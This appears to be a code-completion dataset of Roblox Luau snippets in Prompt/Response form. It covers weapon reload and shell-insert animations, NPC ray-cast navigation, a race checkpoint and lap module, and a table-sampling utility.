			objs[5].Handle:WaitForChild("MagIn"):Play()
			MagC:Destroy()
			objs[5].Mag.Transparency = 0
			wait(0.3)
		end;

		ShellInsertAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
			wait(0.3)
			objs[5].Handle:WaitForChild("ShellInsert"):Play()
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
			objs[6].Value = objs[6].Value - 1
			objs[7].Value = objs[7].Value + 1
			wait(0.3)
		end;

		ReloadAnim = function(char, speed, objs)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
			wait(0.3)
			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
			wait(0.15)

			local MagZ = objs[5]:WaitForChild("Mag"):clone()
				objs[5].Mag.Transparency = 1
				MagZ.Parent = objs[5]
				MagZ.Mag:Destroy()
				MagZ.Name = "MagZ"
				MagZ.Transparency = 0
				MagZ.Anchored = false
				MagZ.CanCollide = false
			game.Debris:AddItem(MagZ, 5)

			objs[5].Handle:WaitForChild("MagOut"):Play()

			wait(0.5)

			local MagC = objs[5]:WaitForChild("Mag"):clone()
				MagC.Parent = objs[5]
				MagC.Name = "MagC"
				MagC.Transparency = 0

			local MagCW = Instance.new("Motor6D")
				MagCW.Part0 = MagC
				MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
				MagCW.Parent = MagC
				MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
			ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()

			ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
			wait(0.3)
			ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
			objs[5].Handle:WaitForChild("MagIn"):Play()
			MagC:Destroy()
			objs[5].Mag.Transparency = 0

			if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
				objs[7].Value = objs[7].Value + objs[6].Value
				objs[6].Value = 0
				--Evt.Recarregar:FireServer(objs[5].Value)

			elseif objs[7].Value <= 0 then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
				--Evt.Recarregar:FireServer(objs[5].Value)
				objs[7].Value = objs[8].Ammo
				objs[9] = false

			elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
				--objs[10].Recarregar:FireServer(objs[6].Value)
				objs[7].Value = objs[8].Ammo + 1

			elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
				objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
				--Evt.Recarregar:FireServer(objs[5].Value)
				objs[7].Value = objs[8].Ammo
			end
			wait(0.55)
		end;


Prompt: -- 1 - Look Right or Go left

Response:
	if Logic == 1 then

		if Distance >= 1 then
			if ClimbingLadder == false then -- or target.Position.y < torsoPos.y + 4 then
				TurnRight()
			end -- else go straight or go up
		else
			TurnLeft()
		end

		if FireRayAhead() then  -- Check straight first. (And Diagonaly left)
			TurnLeft()
         if FireRay() then  -- Check left (And Diagonaly left & back)
				TurnLeft()
				if FireRay() then
					TurnLeft()
					if FireRay() then
						targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
						hum.Jump = true
					end -- right
				end -- Back
			end -- Left
		else -- If succesful Ahead then... (We only check RightTurns for a get-out-of-jail-Free card)

			if Xdir == OldX and OldZ == Zdir then -- Gracefully exiting Logic 1
				Logic = 0
			end -- check Goal dir?
		end -- Ahead
	end -- Logic 1


Prompt:
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================

Response:
function RaceModule:SetRacers(racerList)
	for i = 1, #racerList do
		addRacer(racerList[i])
	end
end -- RaceModule:SetRacers()

function RaceModule:RegisterCheckpoint(checkpoint)
	if not checkpoints[checkpoint] then
		local newCheckpoint = Checkpoint.new(checkpoint, RaceModule)
		numCheckpoints = numCheckpoints + 1
		checkpoints[checkpoint] = newCheckpoint
	end
end -- RaceModule:RegisterCheckpoint()

function RaceModule:PlayerCrossedCheckpoint(player, checkpoint)
	local racer = racers[player]

	if not racer or racer.FinishedRace then return end
	local currentLap = racer.CurrentLap

	CheckpointEvent:FireClient(player, {{"checkpointHit", checkpoint.CollisionBody}})

	if not racer:HasStartedLap(currentLap) then
		racer:StartLap(currentLap)
		onLapStartedEvent:Fire(player, currentLap)
	end

	if racer:HasStartedLap(currentLap) then
		local alreadyPassed = checkpoint:SetPlayerPassed(player, currentLap)
		if not alreadyPassed then
			onCheckpointPassedEvent:Fire(checkpoint.CollisionBody)
		end
	end

	if hasPlayerFinishedLap(player, currentLap) then
		local lapTime = racer:FinishLap(currentLap)
		onLapFinishedEvent:Fire(player, currentLap, lapTime)
		if currentLap == numLaps then
			if not winner then
				winner = player
			end
			racer.FinishedRace = true
			onRaceFinishedEvent:Fire(winner)
		else
			wait() -- Let the last checkpoint temporarily change to hit color

			CheckpointEvent:FireClient(player, {{"newLap"}})

			racer.CurrentLap = racer.CurrentLap + 1
		end
	end
end -- RaceModule:PlayerCrossedCheckpoint()

function RaceModule:Start(activePlayers)
	if debugEnabled then print("RACEMODULE: Starting race") end

	winner = nil

	assert(numCheckpoints > 0, "No checkpoints registered")
	assert(startCheckpoint, "Start Checkpoint not set")
	assert(finishCheckpoint, "Finish Checkpoint not set")

	if debugEnabled then print("RACEMODULE: Checking if players set") end
	if #racers == 0 then
		RaceModule:SetRacers(activePlayers)
	end

	for _, checkpoint in pairs(checkpoints) do
		checkpoint:Reset()
	end

	onRaceStartedEvent:Fire()

	local raceOver = false
	local finishedConnection
	finishedConnection = RaceModule.RaceFinished:connect(function()
		raceOver = true
		racers = {}
		finishedConnection:disconnect()
	end)
	spawn(function()
		wait(raceDuration)
		if not raceOver then
			onRaceFinishedEvent:Fire(winner)
		end
	end)
end -- RaceModule:Start()


Prompt:
--[=[
	@within TableUtil
	@function Sample
	@param tbl table
	@param sampleSize number
	@param rngOverride Random?
	@return table

	Returns a random sample of the table.

	```lua
	local t = {1, 2, 3, 4, 5, 6, 7, 8, 9}
	local sample = TableUtil.Sample(t, 3)
	print(sample) --> e.g. {6, 2, 5}
	```

	:::note Arrays only
	This function works on arrays, but not dictionaries.
]=]

Response:
local function Sample<T>(tbl: { T }, size: number, rngOverride: Random?): { T }
	assert(type(tbl) == "table", "First argument must be a table")
	assert(type(size) == "number", "Second argument must be a number")
	local shuffled = table.clone(tbl)
	local sample = table.create(size)
	local random = if typeof(rngOverride) == "Random" then rngOverride else rng
	local len = #tbl
	size = math.clamp(size, 1, len)
	for i = 1, size do
		local j = random:NextInteger(i, len)
		shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
	end
	table.move(shuffled, 1, size, 1, sample)
	return sample
end